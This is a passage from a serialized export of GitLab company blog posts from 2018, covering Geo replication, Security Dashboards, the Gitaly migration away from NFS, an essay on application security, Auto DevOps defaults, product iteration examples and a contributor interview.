changes.\n\n![Hashed Storage and Legacy Storage example](https://about.gitlab.com/images/blogimages/how-we-built-geo/hashed-storage-disk-path-example.png){: .medium.center}\n\nBy making the paths on disk immutable and non-conflicting, any `create`, `move` or `remove` operations can happen in any order, and they will never put the system in an inconsistent state. Also replicating a project rename or moving a project from one group/owner to another will require only the database change to be propagated to take full effect on a secondary node.\n\n## What to expect from Geo in the near future\n\nImplementing Geo has been an important effort at GitLab that involved many different areas. It is a crucial infrastructure feature that allowed us to migrate from one cloud provider to another. We also believe it's an important component to support the needs of many organizations today, from providing peace of mind regarding data safety in the events of a Disaster Recovery, to easing the burdens of distributed teams across the globe.\n\nWe've been using the feature ourselves and this allowed us to stress-test the biggest and most challenging GitLab installation, GitLab.com, making sure it will work just as fine for any other customer.\n\nOver the upcoming months we will be focusing on the following items:\n\n* Release a push proxy for Geo secondary nodes: [Pull and push from the same remote transparently](https://gitlab.com/groups/gitlab-org/-/epics/124)\n* Release [Hashed Storage as *Generally Available*](https://gitlab.com/groups/gitlab-org/-/epics/75)\n* Improve configuration: We want to reduce the steps and make it [simpler via automating most steps](https://gitlab.com/groups/gitlab-org/-/epics/367)\n* Improve the verification step: [Improve the signals we use for the checksum](https://gitlab.com/gitlab-org/gitlab-ee/issues/5196)\n* [Improve the Geo UX and UI](https://gitlab.com/groups/gitlab-org/-/epics/369)\n* Keep improving performance and reliability\n* Support replication of [GitLab Pages](https://gitlab.com/gitlab-org/gitlab-ee/issues/4611) and the internal [Docker Registry](https://gitlab.com/gitlab-org/gitlab-ee/issues/2870)\n\nCover photo by [NASA](https://unsplash.com/photos/Q1p7bh3SHj8) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[754,676],{"slug":32198,"featured":6,"template":678},"how-we-built-gitlab-geo","content:en-us:blog:how-we-built-gitlab-geo.yml","How We Built Gitlab Geo","en-us/blog/how-we-built-gitlab-geo.yml","en-us/blog/how-we-built-gitlab-geo",{"_path":32204,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32205,"content":32211,"config":32216,"_id":32218,"_type":16,"title":32219,"_source":17,"_file":32220,"_stem":32221,"_extension":20},"/en-us/blog/inside-gitlab-security-dashboards",{"title":32206,"description":32207,"ogTitle":32206,"ogDescription":32207,"noIndex":6,"ogImage":32208,"ogUrl":32209,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32209,"schema":32210},"Security dashboards secure applications at DevOps speed","GitLab Security Dashboards enable security professionals to view vulnerabilities across a project. Here’s an inside look.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678710/Blog/Hero%20Images/inside-gitlab-security-dashboards.jpg","https://about.gitlab.com/blog/inside-gitlab-security-dashboards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How can teams secure applications at DevOps speed? Security Dashboards are here to help.\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2018-09-14\",\n      }",{"title":32212,"description":32207,"authors":32213,"heroImage":32208,"date":32175,"body":32214,"category":734,"tags":32215},"How can teams secure applications at DevOps speed? Security Dashboards are here to help.",[12479],"\nBusiness survival today depends on a radically faster DevOps lifecycle, but how can teams secure applications at DevOps speed? It’s a thorny problem for a number of reasons: applications are a prime target for cyber attacks; most [application security](/topics/devsecops/) tools are resource intensive, requiring integration of both technology and processes; and testers face the dilemma of when and how often to test code that is iteratively changed right up until it’s deployed. Many are faced with weighing the need to test each iteration against the speed and cost of doing so, while the possibility of a rollback looms in the case of an unforeseen security vulnerability.\n\n>Many are faced with weighing the need to test each iteration against the speed and cost of doing so\n\nWe know that shifting left and discovering vulnerabilities earlier in the development process is important, but it’s tough to find the perfect balance, where teams can be confident they’re truly creating business value and not becoming a business inhibitor. It’s clear that our existing application security tools are colliding with modern development. So what if you could scan all code, every time for development, using fewer tools instead of more, and have developers and operations on the same page instead of adversarial?\n\n### Built-in security products\n\nIt’s going to take a fundamental shift by companies towards proactive security. With security issues reported directly in merge requests, one license cost for integrated security, and zero context-switching to proactively secure applications, we believe GitLab can help get you there.\n\nUsing multiple tools forces developers to switch away from their primary objective of developing code, or requires integrated workflows with security pros. We believe successful tools will add high value while minimizing distraction for engineers. With GitLab, [SAST](https://docs.gitlab.com/ee/user/application_security/sast/), [DAST](https://docs.gitlab.com/ee/user/application_security/dast/), [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/), [dependency scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), and [license management](https://docs.gitlab.com/ee/user/compliance/license_compliance/index.html) are all built in. Because there’s one tool for the software development lifecycle, you can automatically run tests on all code commits, early in the development process.\n\n### Security Dashboard demo\nIn 11.1, [we shipped Security Dashboards](/releases/2018/07/22/gitlab-11-1-released/), to help serve security professionals. Traditionally we’ve focused on the developer, but the Security Dashboard is meant to enable security professionals to view vulnerabilities across a project. Here’s a quick look at our first iteration of the Security Dashboard:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/U2_dqwTRUVk\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nKeep an eye out for [improvements](https://gitlab.com/gitlab-org/gitlab-ee/issues/6709), and let us know what you think by tweeting us [@gitlab](https://twitter.com/gitlab)!\n\nCover photo by [Christian EM](https://unsplash.com/photos/J7EUjSlNQtg) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[4103,754,676,674],{"slug":32217,"featured":6,"template":678},"inside-gitlab-security-dashboards","content:en-us:blog:inside-gitlab-security-dashboards.yml","Inside Gitlab Security Dashboards","en-us/blog/inside-gitlab-security-dashboards.yml","en-us/blog/inside-gitlab-security-dashboards",{"_path":32223,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32224,"content":32230,"config":32236,"_id":32238,"_type":16,"title":32239,"_source":17,"_file":32240,"_stem":32241,"_extension":20},"/en-us/blog/the-road-to-gitaly-1-0",{"title":32225,"description":32226,"ogTitle":32225,"ogDescription":32226,"noIndex":6,"ogImage":32227,"ogUrl":32228,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32228,"schema":32229},"GitLab no longer requires NFS: The road to Gitaly v1.0","How we went from vertical to horizontal scaling without depending on NFS by creating our own Git RPC service.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670092/Blog/Hero%20Images/road-to-gitaly.jpg","https://about.gitlab.com/blog/the-road-to-gitaly-1-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The road to Gitaly v1.0 (aka, why GitLab doesn't require NFS for storing Git data anymore)\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Zeger-Jan van de Weg\"}],\n        \"datePublished\": \"2018-09-12\",\n      }",{"title":32231,"description":32226,"authors":32232,"heroImage":32227,"date":32233,"body":32234,"category":734,"tags":32235},"The road to Gitaly v1.0 (aka, why GitLab doesn't require NFS for storing Git data anymore)",[19968],"2018-09-12","\nIn the early days of [GitLab.com](https://gitlab.com), most of the application,\nincluding Rails worker processes, Sidekiq background processes, and Git storage,\nall ran on a single server. A single server is easy to deploy to and maintain.\nThe same structure is what most smaller GitLab instances still use for their\nself-managed [Omnibus](https://docs.gitlab.com/omnibus/) installation. Scaling\nis done vertically, meaning; adding more RAM, CPU, and disk space.\n\n## Moving from vertical to horizontal scaling\n\nSoon we ran out of options to continue scaling the system vertically, and we had\nto move to scaling horizontally by adding new servers. To have the repositories\navailable on all the nodes, NFS (Network File System) was used to mount these to each application\nserver and background workers. NFS is a well-known technology for sharing file\nsystems across a network. For each server, each storage node needed to be\nmounted. The advantage: GitLab.com could keep adding more servers and scale. However NFS\nhad multiple disadvantages too: the visibility is decreased to what type of file\nsystem operation is performed. Even worse, one NFS storage node's outage impacted\nthe whole site, and took the whole site down. On the other hand, Git operations\ncan be quite CPU/IOPS intensive too, so we began a balancing act between adding more nodes,\nand thus reducing reliability, versus scaling nodes vertically.\n\n## Considering NFS alternatives\n\nOver two years ago, we started to look for alternatives. One of the first ideas\nwas to remove the dependency on NFS with [Ceph](https://ceph.com/).\nCeph is a distributed file system that was meant to replace NFS in an\narchitecture like ours. Like NFS, this would solve our scaling problem on the\nsystem level, meaning that little to no changes would be required to GitLab as\nan application. However, running a Ceph cluster in the cloud didn't have the\nperformance characteristics that were required. Briefly we flirted with the idea\nof [moving away from the cloud][no-cloud], but this would have had major implications\nfor our own infrastructure team, and given that many of our customers _do_ run in\nthe cloud, [we decided to stay in the cloud][yes-cloud].\n\n[no-cloud]: /blog/why-choose-bare-metal/\n[yes-cloud]: /2017/03/02/why-we-are-not-leaving-the-cloud/\n\n## Introducing Gitaly\n\nSo it was clear that the application needed to be redesigned, and a new service\nwould be introduced to handle all Git requests. We named it\n[Gitaly](https://gitlab.com/gitlab-org/gitaly).\n\n![Gitaly Architecture Diagram](https://about.gitlab.com/images/gitaly_arch.png){: .large.center}\n*\u003Csmall>The planned architecture at the project start\u003C/small>*\n\nAs the diagram shows, the new Git server would have a number of distinct clients.\nTo make sure the protocol for the server and its clients is well defined,\n[Protocol Buffers][protobuf] was used. The client calls are handled by\nleveraging [gRPC][grpc]. Combined, they allowed us to iteratively add RPCs and\nmove away from NFS, in favor of an HTTP boundary. With the technologies chosen,\nthe migration started. The ultimate goal: v1.0, meaning no disk access was\nrequired to the Git storage nodes for [GitLab.com](https://gitlab.com).\n\nShipping such an architectural change should not influence the performance, nor\nthe stability of the self-managed installations of GitLab, so for each RPC a [feature\nflag](https://docs.gitlab.com/ee/development/feature_flags/index.html) gated the use of it. When the RPC had gone through a series of tests on both\ncorrectness and performance impact, the gate was removed. To determine stability we used\n[Prometheus](https://docs.gitlab.com/ee/administration/monitoring/prometheus/) for monitoring and the ELK stack for sifting through massive numbers of structured log messages.\n\nThe server was written in Go, while the application is a large Rails monolith.\nRails had a great amount of code that was still very valuable. This code got\nextracted to the `lib/gitlab/git` directory, allowing easier vendoring. The idea\nwas to start a sidecar next to the Go server, reusing the old code. About once a week the\ncode would be re-vendored. This allowed Ruby developers on other teams to\nwrite code once, and ship it. Bonus points could be earned if [the boilerplate code][gitaly-ruby]\nwas written to call the same function in Ruby!\n\n[protobuf]: https://developers.google.com/protocol-buffers/\n[gitaly-ruby]: https://gitlab.com/gitlab-org/gitaly/blob/232c26309a8e9bef61262ccd04a8f0ba75e13d73/doc/beginners_guide.md#gitaly-ruby-boilerplate\n[grpc]: https://grpc.io/\n\nThe new service wasn't all sunshine and rainbows though, at times it felt like\nthe improved visibility was hurting our ability to ship. For example, it became\nclear that the illusion of an attached disk created\n[N + 1 problems][rails-eager-loading]. And even though this is a well-known problem\nin Ruby on Rails, the tools to combat it are all tailored toward using it with\nActiveRecord, Rails' ORM.\n\n[rails-eager-loading]:https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations\n\n## Nearing v1.0\n\nWith each RPC introduced, v1.0 was getting closer and closer. But how could we be\nsure everything was migrated before unmounting all NFS mount points? A trip\nswitch got introduced, guarding the details required to get to the full path of each\nrepository. Without this data there was no way to execute any Git operation\nthrough NFS. Luckily, the trip switch never went off, so now it was clear NFS\nwasn't being used. The next step was unmounting on our staging environment! Again, this was very\nuneventful. Leaving the volumes unmounted for a full week, and not seeing any\nindication of unexpected errors, the logical next step was our production instance.\n\nDays later we started rolling out these changes to production: first the\nbackground workers were unmounted, than we moved onto higher impact services. At\nthe end of the day, all drives were unmounted without customer impact.\n\n## What's next?\n\nSo, where is this v1.0 tag? We didn't tag it, and I don't think we will. v1.0 is\na state for our Git infrastructure, and a goal for the team, rather than the code base.\nThat being said, the next mental goal is allowing all customers to run without NFS.\nAt the time of writing, some features like administrative tasks, aren't using Gitaly just\nyet. These are slated for [v1.1][gitaly-11], and our next objective.\n\nWant to know more about our Gitaly journey? Read about [how we're making your Git data highly available with Praefect](/blog/high-availability-git-storage-with-praefect/) and [how a fix in Go 1.9 sped up our Gitaly service by 30x](/blog/how-a-fix-in-go-19-sped-up-our-gitaly-service-by-30x/).\n{: .alert .alert-info .text-center}\n\n[gitaly-11]: https://gitlab.com/groups/gitlab-org/-/epics/288\n\nPhoto by [Jason Hafso](https://unsplash.com/photos/8Sjcc4vExpg) on Unsplash\n{: .note}\n",[676,1067,1268],{"slug":32237,"featured":6,"template":678},"the-road-to-gitaly-1-0","content:en-us:blog:the-road-to-gitaly-1-0.yml","The Road To Gitaly 1 0","en-us/blog/the-road-to-gitaly-1-0.yml","en-us/blog/the-road-to-gitaly-1-0",{"_path":32243,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32244,"content":32250,"config":32255,"_id":32257,"_type":16,"title":32258,"_source":17,"_file":32259,"_stem":32260,"_extension":20},"/en-us/blog/what-south-africa-taught-me-about-cybersecurity",{"title":32245,"description":32246,"ogTitle":32245,"ogDescription":32246,"noIndex":6,"ogImage":32247,"ogUrl":32248,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32248,"schema":32249},"What our summit in South Africa taught me about cybersecurity","Cybersecurity is a necessity, but it's often treated as an afterthought. What it has in common with modern photography could tell us how to make it less painful to achieve.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671140/Blog/Hero%20Images/south-africa-cyber-security.jpg","https://about.gitlab.com/blog/what-south-africa-taught-me-about-cybersecurity","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What our summit in South Africa taught me about cybersecurity\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2018-09-11\",\n      }",{"title":32245,"description":32246,"authors":32251,"heroImage":32247,"date":32252,"body":32253,"category":8943,"tags":32254},[12479],"2018-09-11","\nThe GitLab team [summit](/events/gitlab-contribute/) recently took place in Cape Town, South Africa, which, as you can imagine, promised to be memorable.\nWhen preparing to cross three continents over 22 hours on airplanes, you think carefully about what to pack. You are anticipating the most beautiful scenery ever and want to make sure you capture it in pictures. So you find your camera – the one you haven't used in a long time because you've grown accustomed to using your cellphone. After careful debate, you decide to take it because those awesome experiences and scenery deserve the best camera.\n\nThe camera requires certain things: You have to make sure it's charged or has batteries; it needs to have adequate storage; you may need additional lenses which also require special care. Everything must be protected and carefully packed, and requires additional space and weight to carry on board with you because it's too precious to put in checked baggage.\n\nWhen you get to South Africa and you see this incredible scenery, you take out your wonderful camera and you realize a few things:\n\n## 1. You have only a precious few moments to capture the image\n\nDo I really have time to fidget with f-stops and customizations, or do I just want to capture the picture and perhaps customize it a bit later by cropping and adjusting the light?\n\n## 2. It's difficult to share camera photos immediately\n\nI'm anxious to share these images with friends and family back home. It occurs to me that with my phone I can share images immediately and effortlessly by email, text, Slack, or a variety of social media. If I take the pictures on my expensive camera, I can't share them immediately because it's not connected to anything. I'll have to wait until I get back to my hotel room so I can take the flash drive and put it in my laptop, log on to the Wi-Fi, and then share my images.\n\n## 3. My camera photos aren't secure\n\nIf I lose that flash drive, all of my images are gone (unless I back them up immediately after capturing them – not likely!). While it is possible I could lose my cell phone and lose my pictures, it's less likely. My phone is an integral part of my daily workflow – an appendage even. How often do we feel naked if we forget our phone at home or even in the other room? I'm much less likely to leave my phone on the bus when I get off to explore then to leave my camera behind.\n\nSo, I choose to use my phone to capture these magnificent images. My primary objective is not taking fabulous pictures worthy of publication that I can sell or frame on my wall, but to take pictures that are good enough, that capture the special place, and that I can share with friends and family easily and effortlessly. If it's too hard to share, I may not do it, or it may take me a long time. In addition, I don't have to think ahead about how my phone will capture an image in such a way to send it to friends; the images automatically integrate with all of the other sharing mechanisms on my phone. It simply works. I am free to focus on my primary effort of capturing the images while I soak up the moments.\n\n## Now, how does this relate to cybersecurity?\n\nCompanies invest a great deal in [application security to test their software](/topics/devsecops/) for security vulnerabilities. It's a separate application that requires its own budget and maintenance. Like the specialized camera, the information it creates must be shared in order to be most useful. The security team can use it by itself, but to be truly effective, the vulnerabilities found must be shared with development so that they can be corrected. Yet developers have little interest in logging onto a security system to access the data. Would your friends and family want to physically turn on your camera to look at your pictures? Maybe, but it's very limiting as to whom you can reach.\n\nThe challenge then is how do you get the data found by the application security system into the hands of the developers? Today that is one of the greatest challenges to overcome, even in rare cases where the objectives of security and dev totally align.\n\n### What if you looked at application security the same way we look at photographing images?\n\nIs the prime objective to do the most eloquent job of finding the vulnerabilities? Or, is the prime objective to get the vulnerabilities that we do find fixed? If it is the latter then the primary issue must be integrating with the developers’ workflow.\n\nWith [GitLab application security testing](/solutions/security-compliance/), it is like the camera on your phone – maybe not superior to a dedicated tool in isolation, but good quality, and more importantly, integrated into the workflow to be the most useful. It is easily and efficiently used without added thought. With GitLab, every commit and every merge request is tested. There isn't even a separate step – it's all automated for you without additional effort.\n\n![GitLab security dashboard](https://about.gitlab.com/images/blogimages/security-dashboard.png){: .shadow.medium.center}\n\nAs with photography, the most important thing is that you capture those moments before they escape you; with application security testing, it's important that you capture those vulnerabilities so that you can act upon them. With GitLab, the vulnerabilities are shown right there in the developers' workflow. They don't have to log into a different system nor interrupt their work. The security vulnerabilities are shown right alongside any other application flaws in the pipeline results of each merge request. The developer can choose to fix them now or continue the build, but either way, the vulnerabilities are captured and logged. And now with the security dashboard, the security team can evaluate further and create an issue for remediation if needed.\n\n>The vulnerabilities are shown right there in the developers' workflow. They don't have to log into a different system nor interrupt their work\n\nThis really does turn application security on its head! It puts the insight and tools for action into the hands of the developer and then shares results with security, rather than the other way around. It makes so much more sense because the developer must do the remediation, not the security pro. Imagine the efficiency gains if most of the effort was placed on eliminating the vulnerabilities up front, rather than on finding and tracking them later in the SDLC! Sound familiar? This has been imagined before and cost savings even estimated. It's the \"shift left\" mantra. While everyone embraces it, few actually achieve it. Why? Because they lack the tools to enable such a seismic shift where the only gate is the merge request.\n\nAlbert Einstein said that the definition of insanity was doing the same thing and expecting a different result. So how can we expect traditional application security methods to meet the needs of modern, cloud-first DevOps environments? We can't. With GitLab, our single application helps users efficiently develop and deploy secure code by leveraging the power of integration across the entire SDLC. [No more stitching together complex DevOps tool chains](/). Microsoft did something similar years ago. Remember Word Perfect? It succumbed to Word because content could be copied/pasted and integrated across the Microsoft suite of documents, spreadsheets and slides. GitLab is on track to do the same thing for software development – including application security testing.\n\n_What do you think? Is this a new era of app security?_\n\nPhoto by [Clyde Thoma](https://unsplash.com/photos/8plz1xK_Wmk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyTexts) on [Unsplash](https://unsplash.com/search/photos/cape-town?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[674,4103,4772],{"slug":32256,"featured":6,"template":678},"what-south-africa-taught-me-about-cybersecurity","content:en-us:blog:what-south-africa-taught-me-about-cybersecurity.yml","What South Africa Taught Me About Cybersecurity","en-us/blog/what-south-africa-taught-me-about-cybersecurity.yml","en-us/blog/what-south-africa-taught-me-about-cybersecurity",{"_path":32262,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32263,"content":32268,"config":32273,"_id":32275,"_type":16,"title":32276,"_source":17,"_file":32277,"_stem":32278,"_extension":20},"/en-us/blog/auto-devops-enabled-by-default",{"title":32264,"description":32265,"ogTitle":32264,"ogDescription":32265,"noIndex":6,"ogImage":12013,"ogUrl":32266,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32266,"schema":32267},"Auto DevOps will be enabled by default as part of GitLab’s 11.3 release","GitLab 11.3 will bring the power of Auto DevOps to every user","https://about.gitlab.com/blog/auto-devops-enabled-by-default","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Auto DevOps will be enabled by default as part of GitLab’s 11.3 release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Daniel Gruesso\"}],\n        \"datePublished\": \"2018-09-10\",\n      }",{"title":32264,"description":32265,"authors":32269,"heroImage":12013,"date":32270,"body":32271,"category":299,"tags":32272},[19285],"2018-09-10","\n\n[Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) was made generally available in GitLab’s 11.0 release and, while it has had great adoption,\nwe want all of GitLab's users to take advantage of its great features. From Auto Build to Auto Monitoring,\nAuto DevOps brings valuable benefits out of the box.\n\nAt GitLab, one of our product values is to [default to on](/handbook/product/product-principles/#configuration-principles).\nWhen we introduce a new configurable feature we know to be of great value, we will default to ON so that everyone can\nbenefit from it. While Auto DevOps supports projects using the most popular programming languages, there may be some\nspecialized projects for which additional configuration is required. Therefore, before we\nenable it for everyone, we want to ensure we will not be running Auto DevOps pipelines for projects\nthat are not supported. To that end, we will [disable auto devops automatically](https://gitlab.com/gitlab-org/gitlab-ce/issues/39923)\nif a pipeline fails. GitLab will notify the project owner of this attempt so they can make the necessary configuration\nchanges to work with auto devops if desired.\n\nWe will initially enable this feature gradually on gitlab.com and monitor its performance. Barring any\nissues, we will enable it as part of our 11.3 release for self-managed customers on September 22nd, 2018.\n\nWe hope that everyone will benefit from the great features Auto DevOps brings. You can read more\nabout [Auto DevOps here](https://docs.gitlab.com/ee/topics/autodevops).\n",[754,736,774],{"slug":32274,"featured":6,"template":678},"auto-devops-enabled-by-default","content:en-us:blog:auto-devops-enabled-by-default.yml","Auto Devops Enabled By Default","en-us/blog/auto-devops-enabled-by-default.yml","en-us/blog/auto-devops-enabled-by-default",{"_path":32280,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32281,"content":32287,"config":32292,"_id":32294,"_type":16,"title":32295,"_source":17,"_file":32296,"_stem":32297,"_extension":20},"/en-us/blog/mvcs-with-big-results",{"title":32282,"description":32283,"ogTitle":32282,"ogDescription":32283,"noIndex":6,"ogImage":32284,"ogUrl":32285,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32285,"schema":32286},"4 Examples of MVCs with big results","Small change, big impact. Here are four recent tweaks to GitLab which exemplify our value of iteration.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678764/Blog/Hero%20Images/mvcs-big-results.jpg","https://about.gitlab.com/blog/mvcs-with-big-results","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 Examples of MVCs with big results\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2018-09-07\",\n      }",{"title":32282,"description":32283,"authors":32288,"heroImage":32284,"date":32289,"body":32290,"category":299,"tags":32291},[30512],"2018-09-07","\nIteration is [one of our values](https://handbook.gitlab.com/handbook/values/#iteration), and it's often the hardest to stick to. It’s difficult to determine the smallest feature or update that will still bring additional value to users. The benefit is that we can ship quickly and get feedback from GitLab users within days or weeks, instead of months or quarters.\n\nAt GitLab we practice iteration by shipping Minimally Viable Changes (MVCs). This can be a new feature scoped to a small functionality, or incremental improvements on it thereafter. Read more about MVC in our [Product handbook](/handbook/product/product-principles/#the-minimal-viable-change-mvc).\n\nDespite being small, these new features often nonetheless have a big impact. Here are some of our recent MVCs that did just that:\n\n## 1. Function: Assignee lists and milestone lists\n\nIntroduced in 11.1, [issue board assignee lists](/releases/2018/06/22/gitlab-11-0-released/#issue-board-assignee-lists) offer a way to monitor team bandwidth right within your issue board, by showing all issues assigned to a specific user. See [4 ways to use GitLab Issue Boards](/blog/4-ways-to-use-gitlab-issue-boards/#3-team-visibility-with-assignee-lists) for more details, and [check out the documentation for assignee lists here](https://docs.gitlab.com/ee/user/project/issue_board.html#assignee-lists).\n\nIn 11.2, we added [milestone lists](/releases/2018/08/22/gitlab-11-2-released/#issue-board-milestone-lists) to allow you to view all issues assigned to a specific milestone. With this visibility, you can move issues across different milestones easily to balance [issue weight](/releases/2018/08/22/gitlab-11-2-released/#summed-weights-in-issue-board-list). View [the documentation for milestone lists here](https://docs.gitlab.com/ee/user/project/issue_board.html#milestone-lists).\n\n## 2. Design: Merge request widget info and pipeline sections redesign\n\nSometimes it's not new functionality that makes a big difference, but just changing how you view it. In 11.1, we [tweaked the design of the information and pipeline sections](/releases/2018/07/22/gitlab-11-1-released/#merge-request-widget-info-and-pipeline-sections-redesign) in a [merge request](https://docs.gitlab.com/ee/user/project/merge_requests/), making them easier to digest.\n\n![Merge request redesign](https://about.gitlab.com/images/11_1/mr-widget-info-pipeline.png){: .shadow.medium.center}\n\n## 3. Navigation: Groups dropdown\n\nAlso in 11.1, we made it easier to switch between groups and avoid disruption to your workflow by adding a [dropdown to the groups link in the top navigation](/releases/2018/07/22/gitlab-11-1-released/#groups-dropdown-in-navigation). There's no need to navigate away from your work, and your frequently visited groups are handily displayed for quick access.\n\n## 4. Shortcut: Confidential issue quick action\n\n[Quick actions](https://docs.gitlab.com/ee/user/project/quick_actions.html) make your GitLab life easier and are easy to contribute! As of 11.1 you can quickly and easily [mark an issue confidential right from the comment field](/releases/2018/07/22/gitlab-11-1-released/#confidential-issue-quick-action), thanks to a community contribution.\n\nInspired to contribute an MVC yourself? Find out [how to start contributing to GitLab](/community/contribute/). You can also check out some more [MVCs coming up in 11.3](/blog/epics-roadmap/).\n\nPhoto by [Ravali Yan](https://unsplash.com/photos/fleZeABaSWY?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/search/photos/upwards?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[754,676,815],{"slug":32293,"featured":6,"template":678},"mvcs-with-big-results","content:en-us:blog:mvcs-with-big-results.yml","Mvcs With Big Results","en-us/blog/mvcs-with-big-results.yml","en-us/blog/mvcs-with-big-results",{"_path":32299,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32300,"content":32305,"config":32310,"_id":32312,"_type":16,"title":32313,"_source":17,"_file":32314,"_stem":32315,"_extension":20},"/en-us/blog/contributor-post-jacopo",{"title":32301,"description":32302,"ogTitle":32301,"ogDescription":32302,"noIndex":6,"ogImage":26117,"ogUrl":32303,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32303,"schema":32304},"GitLab Code Contributor: Jacopo Beschi","Core Team member Jacopo Beschi shares why he loves contributing to GitLab.","https://about.gitlab.com/blog/contributor-post-jacopo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Code Contributor: Jacopo Beschi\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2018-09-06\",\n      }",{"title":32301,"description":32302,"authors":32306,"heroImage":26117,"date":32307,"body":32308,"category":813,"tags":32309},[21623],"2018-09-06","\n\nThis is the second blog post [highlighting GitLab community members](/blog/contributor-post-vitaliy/)\nwho are making code contributions to GitLab. This month, we're featuring Jacopo\nBeschi, who is based in Italy and is also a member of the [Core Team](/community/core-team/).\n\n### How long have you been contributing to GitLab?\n\nI've been contributing since late 2016.\n\n### Why and how did you decide to contribute to GitLab?\n\nI was looking for an interesting open source software application mostly written\nin Ruby to contribute to. After some Googling around, I found GitLab and instantly\nfell in love with the application and this community.\n\n### Which areas of the GitLab product do you contribute to?\n\nI've contributed to multiple areas of GitLab, such as [backend](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/18757),\n[frontend](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/9890),\n[API](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/16478),\n[Utility](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/11579),\nand [Quality](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/15188)\nwhich are written in Rails.\n\nI haven’t had a chance to contribute to the Golang part of GitLab, such as\n[GitLab Runner](https://docs.gitlab.com/runner/), [Gitaly](https://docs.gitlab.com/ee/administration/gitaly/),\nor [GitLab Workhorse](https://gitlab.com/gitlab-org/gitlab-workhorse).\n\n### Can you tell us what you do professionally?\n\nCurrently, I work as technical lead for [Iubenda](http://www.iubenda.com), a SaaS\nprovider focused on privacy and cookie policies.\n\n### What do you like to do when you're not working?\n\nWhen I’m not working, I enjoy training in the gym and spending time with my wife and friends.\n\n### What advice do you have for others who may be interested in contributing to GitLab?\n\nDon’t be nervous about getting started! This [Contributing to GitLab page](/community/contribute/)\nexplains all the steps you need to take in order to be a successful contributor,\nand I encourage people to start there.\n\nGitLab also has a lot of [online documentation](https://docs.gitlab.com/) that\nyou could search in order to solve most common questions that developers have.\n\n### Do you have anything else you’d like to share?\n\nContributing to GitLab not only enhances your resume but also allows you to get\nin touch with great people who can help you improve your technical knowledge.\nIn addition, your contribution to GitLab will affect the lives of thousands of\ndevelopers around the globe!\n\n## Interested in learning how you can contribute?\n\nAs Jacopo already suggested, a good place to start is the\n[Contributing to GitLab page](/community/contribute/), where you can learn how you can\ncontribute to GitLab code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to reach me at rpaik@gitlab.com.\n\n_Note: This post is part of [a series featuring people who contribute to GitLab](/blog/tags.html#contributors)._\n",[267,2368,815,2704],{"slug":32311,"featured":6,"template":678},"contributor-post-jacopo","content:en-us:blog:contributor-post-jacopo.yml","Contributor Post Jacopo","en-us/blog/contributor-post-jacopo.yml","en-us/blog/contributor-post-jacopo",{"_path":32317,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32318,"content":32324,"config":32329,"_id":32331,"_type":16,"title":32332,"_source":17,"_file":32333,"_stem":32334,"_extension":20},"/en-us/blog/deep-dive-into-gitlabs-ux-design-process",{"title":32319,"description":32320,"ogTitle":32319,"ogDescription":32320,"noIndex":6,"ogImage":32321,"ogUrl":32322,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32322,"schema":32323},"A deep dive into GitLab's UX design process","The UX team shares how they communicate, plan, share, and tackle improvements one iteration at a time.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678759/Blog/Hero%20Images/designwebcast.jpg","https://about.gitlab.com/blog/deep-dive-into-gitlabs-ux-design-process","\n                   